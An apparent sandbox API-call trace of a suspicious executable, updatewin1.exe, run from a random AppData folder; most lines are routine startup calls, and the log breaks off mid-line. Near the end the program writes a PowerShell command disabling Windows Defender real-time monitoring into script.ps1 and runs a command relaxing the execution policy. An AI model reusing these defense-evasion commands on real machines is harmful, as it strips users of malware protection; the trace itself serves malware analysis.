[0055.743] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.744] GetLastError () returned 0x57 [0055.744] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0055.744] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0055.744] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x18e938, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0055.744] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f30c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x72\x38\xd9\xb6\x48\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0055.744] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0055.744] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0055.744] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0055.744] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e958, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0055.744] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f20c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x72\x38\xd9\xb6\x48\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0055.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x60a0d8 [0055.744] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x416cb8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe")) returned 0x5f [0055.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xdc) returned 0x60c168 [0055.744] RtlInitializeSListHead (in: ListHead=0x416bd8 | out: ListHead=0x416bd8) [0055.744] GetLastError () returned 0x0 [0055.744] SetLastError (dwErrCode=0x0) [0055.744] GetEnvironmentStringsW () returned 0x60c250* [0055.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xaca) returned 0x60cd28 [0055.744] FreeEnvironmentStringsW (penv=0x60c250) returned 1 [0055.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x98) returned 0x60c250 [0055.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3e) returned 0x60c2f0 [0055.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x6c) returned 0x60c338 [0055.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x6e) returned 0x60c3b0 [0055.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x78) returned 0x5f1188 [0055.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x62) returned 0x60c428 [0055.744] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2e) returned 0x5f52d8 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x48) returned 0x60c498 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x28) returned 0x60a160 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1a) returned 0x60bd18 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x4a) returned 0x60c4e8 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x72) returned 0x5f1208 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x30) returned 0x5f5310 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2e) returned 0x5f5348 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1c) returned 0x60bd40 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xd2) returned 0x60c540 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x7c) returned 0x60c620 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x36) returned 0x60c6a8 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3a) returned 0x60c6e8 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x90) returned 0x60c730 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x24) returned 0x60c7c8 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x30) returned 0x5f5380 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x36) returned 0x60c7f8 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x48) returned 0x60c838 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x52) returned 0x60c888 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3c) returned 0x60d818 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x82) returned 0x60c8e8 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2e) returned 0x5f53b8 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1e) returned 0x60bd68 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2c) returned 0x5f53f0 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x54) returned 0x60c978 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x52) returned 0x60c9d8 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2a) returned 0x5f5428 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3c) returned 0x60d860 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x54) returned 0x60ca38 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x24) returned 0x60ca98 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x30) returned 0x5f5460 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x8c) returned 0x60cac8 [0055.745] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x60cd28 | out: hHeap=0x5e0000) returned 1 [0055.745] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x800) returned 0x60cb60 [0055.745] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0055.745] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402ae4) returned 0x404e59 [0055.746] GetStartupInfoW (in: lpStartupInfo=0x18f578 | out: lpStartupInfo=0x18f578*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0055.746] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe\" --Admin" [0055.746] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe\" --Admin", pNumArgs=0x18e580 | out: pNumArgs=0x18e580) returned 0x60d368*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe" [0055.746] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x18d8ec | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0055.752] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="script.ps1" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1") returned 1 [0055.752] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\script.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa8 [0055.752] lstrcpyA (in: lpString1=0x18e0ec, lpString2="Set-MpPreference -DisableRealtimeMonitoring $true" | out: lpString1="Set-MpPreference -DisableRealtimeMonitoring $true") returned="Set-MpPreference -DisableRealtimeMonitoring $true" [0055.752] lstrlenA (lpString="Set-MpPreference -DisableRealtimeMonitoring $true") returned 49 [0055.753] WriteFile (in: hFile=0xa8, lpBuffer=0x18e0ec*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x18d8e8, lpOverlapped=0x0 | out: lpBuffer=0x18e0ec*, lpNumberOfBytesWritten=0x18d8e8*=0x31, lpOverlapped=0x0) returned 1 [0055.753] CloseHandle (hObject=0xa8) returned 1 [0055.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x60ecd8 [0055.754] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x60ed50 [0055.754] SetLastError (dwErrCode=0x0) [0055.754] lstrcpyW (in: lpString1=0x18d4e0, lpString2="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" | out: lpString1="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned") returned="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" [0055.754] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18d498*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18d488 | out: lpCommandLine="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned", lpProcessInformation=0x18d488*(hProcess=0xa4, hThread=0xa8, dwProcessId=0xb50, dwThreadId=0xb54)) returned 1 [0055.787] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.793] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.808] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.824] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.921] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.936] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.954] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.999] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.014] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.028] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.043] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.058] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 